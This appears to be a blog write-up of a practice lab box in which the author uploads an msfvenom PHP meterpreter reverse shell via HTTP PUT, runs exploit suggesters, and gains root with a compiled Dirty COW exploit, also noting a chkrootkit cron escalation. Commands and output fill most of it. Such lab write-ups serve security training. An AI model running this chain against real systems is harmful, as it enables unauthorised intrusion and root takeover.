When we last left off (like eight months ago? I’ve been busy…), we had gotten access to the box via a reverse shell uploaded via the webserver supportting the PUT method. Since I started this box, I’ve managed to get through a handful (give or take) of boxes in the OSCP labs, and I’ve gotten slightly more familiar with metasploit and some basic methods of escalation. The first thing I’m going to do is upload a meterpreter php shell instead of the one I previously used from pentest monkey. Meterpreter gives us a godly amount of flexibility and power, and I’m also lazy, so I take what advantages I can.
Using msfvenom, we can generate the meterpreter shell. We then start msfconsole and use the multi handler to prep for the reverse connection from the shell.
root@kali:~# msfvenom -p php/meterpreter/reverse_tcp -f raw -o meterp.php LHOST=192.168.170.131 LPORT=443
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 945 bytes
Saved as: meterp.php
root@kali:~# curl -H Expect: -T ./meterp.php http://192.168.170.129/test/meterp.php -v -0
* Trying 192.168.170.129...
* TCP_NODELAY set
* Connected to 192.168.170.129 (192.168.170.129) port 80 (#0)
> PUT /test/meterp.php HTTP/1.0
> Host: 192.168.170.129
> User-Agent: curl/7.52.1
> Accept: */*
> Content-Length: 950
>
* We are completely uploaded and fine
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-Length: 0
< Connection: close
< Date: Tue, 15 May 2018 22:55:07 GMT
< Server: lighttpd/1.4.28
<
* Curl_http_done: called premature == 0
* Closing connection 0
root@kali:~#
Now we’ve got our improved meterpreter shell uploaded, lets set up the handler and then invoke it.
msf > use exploit/multi/handler
msf exploit(handler) > set LHOST 192.168.170.131
LHOST => 192.168.170.131
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(handler) > run
[*] Started reverse TCP handler on 192.168.170.131:443
[*] Starting the payload handler...
And then in another shell…
root@kali:~# curl http://192.168.170.129/test/meterp.php
Ok, all that work and we haven’t even made any progress yet. But lets use some of that meterpreter power by cheating! I should be telling you to iterate and look for this and that, go down the list of checking various standard means of escalation… But I’m not going to. We’re going to break out the big guns first, and if they fail us, then we’ll do that stuff. Lets use the escalation suggester. It checks your platform and then checks a ton of different exploits that can be used for escalation
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use post/multi/recon/local_exploit_suggester
msf post(local_exploit_suggester) > options
Module options (post/multi/recon/local_exploit_suggester):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
SHOWDESCRIPTION false yes Displays a detailed description for the available exploits
msf post(local_exploit_suggester) > set SESSION 1
SESSION => 1
msf post(local_exploit_suggester) > run
[*] 192.168.170.129 - Collecting local exploits for php/linux...
[-] 192.168.170.129 - No suggestions available.
[*] Post module execution completed
msf post(local_exploit_suggester) >
Well fuck… I’m wondering if the fact that it’s a php shell is throwing it off? Typically when I’ve used this module I’ve had a native meterpreter shell coming back. I think there’s a way to upgrade current meterpreter shell I have to a native one,but I’m too lazy to look it up.
Ok, so that was a bomb. Lets start checking some of those tried and true means of escalating. For me personally, I usually check kernel exploits first. I’ve had good luck on a number of boxes doing this. In particular, I’ll be using the linux exploit suggester. After using uname -a on the victim box, we find out it’s running 3.11.0. When we check that against the script we get a few suggestions back.
root@kali:~/bin# ./kernel-exploit-suggester.pl -k 3.11.0
#############################
Linux Exploit Suggester 2
#############################
Local Kernel: 3.11.0
Searching among 71 exploits...
Possible Exploits:
[+] dirty_cow
CVE-2016-5195
Source: https://www.exploit-db.com/exploits/40616/
[+] pp_key
CVE-2016-0728
Source: https://www.exploit-db.com/exploits/39277/
[+] timeoutpwn
CVE-2014-0038
Source: http://www.exploit-db.com/exploits/31346/
So, the first one in the list looks pretty good. I copied the code into my home dir and checked it out. ONE IMPORTANT THING The code has payloads for both X64 and X86, and we need to uncomment the correct one. After modifying the code to select for the X86 exploit, I use the magic of meterpreter to upload it to the victim box. I compile it according to the instructions in the source, execute and voila: root.
meterpreter > cd /tmp
meterpreter > ls
Listing: /tmp
=============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
41777/rwxrwxrwx 4096 dir 2018-05-15 18:55:04 -0400 VMwareDnD
140755/rwxr-xr-x 0 soc 2018-05-15 18:55:04 -0400 php.socket-0
100644/rw-r--r-- 1600 fil 2018-05-15 18:55:04 -0400 vgauthsvclog.txt.0
40700/rwx------ 4096 dir 2018-05-15 18:55:04 -0400 vmware-root
meterpreter > upload /root/cowroot.c
[*] uploading : /root/cowroot.c -> cowroot.c
[*] uploaded : /root/cowroot.c -> cowroot.c
meterpreter > shell
Process 27195 created.
Channel 2 created.
pwd
/tmp
gcc cowroot.c -o cowroot -pthread
cowroot.c: In function 'procselfmemThread':
cowroot.c:99:9: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast [enabled by default]
/usr/include/unistd.h:335:16: note: expected '__off_t' but argument is of type 'void *'
cowroot.c: In function 'main':
cowroot.c:142:5: warning: format '%d' expects argument of type 'int', but argument 2 has type '__off_t' [-Wformat]
ls
VMwareDnD
cowroot
cowroot.c
php.socket-0
vgauthsvclog.txt.0
vmware-root
./cowroot
whoami
root
One more thing - I did do a little poking around the box, and I happened to notice that there was a suspicious script in the cron.daily dir.
meterpreter > cd /etc
meterpreter > cd cron.daily
meterpreter > ls
Listing: /etc/cron.daily
========================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 102 fil 2016-03-30 07:55:48 -0400 .placeholder
100755/rwxr-xr-x 15399 fil 2016-03-30 07:55:57 -0400 apt
100755/rwxr-xr-x 314 fil 2016-03-30 07:59:30 -0400 aptitude
100755/rwxr-xr-x 502 fil 2016-03-30 08:00:29 -0400 bsdmainutils
100755/rwxr-xr-x 2032 fil 2016-04-12 12:18:11 -0400 chkrootkit
100755/rwxr-xr-x 256 fil 2016-03-30 07:54:49 -0400 dpkg
100755/rwxr-xr-x 338 fil 2016-04-12 11:41:18 -0400 lighttpd
100755/rwxr-xr-x 372 fil 2016-03-30 07:55:50 -0400 logrotate
100755/rwxr-xr-x 1365 fil 2016-03-30 08:00:31 -0400 man-db
100755/rwxr-xr-x 606 fil 2016-03-30 08:00:47 -0400 mlocate
100755/rwxr-xr-x 249 fil 2016-03-30 07:54:56 -0400 passwd
100755/rwxr-xr-x 2417 fil 2016-03-30 08:00:28 -0400 popularity-contest
100755/rwxr-xr-x 2947 fil 2016-03-30 07:55:48 -0400 standard
meterpreter >
I had never seen chkrootkit before, and using searchsploit confirmed that exploits exist for it.
root@kali:~# searchsploit chkrootkit
--------------------------------------------- ----------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/platforms/)
--------------------------------------------- ----------------------------------
Chkrootkit - Privilege Escalation (Metasploi | linux/local/38775.rb
Chkrootkit 0.49 - Privilege Escalation | linux/local/33899.txt
--------------------------------------------- ----------------------------------
root@kali:~#
There’s a metasploit module you can use, but it’s certainly not required. The gist that I got was that if you put a file called “update” in /tmp, it will get run as root when the chkrootkit cronjob executes. It’s possible I could’ve used this method to escalate as well, but I was much too impatient to wait for the job to fire.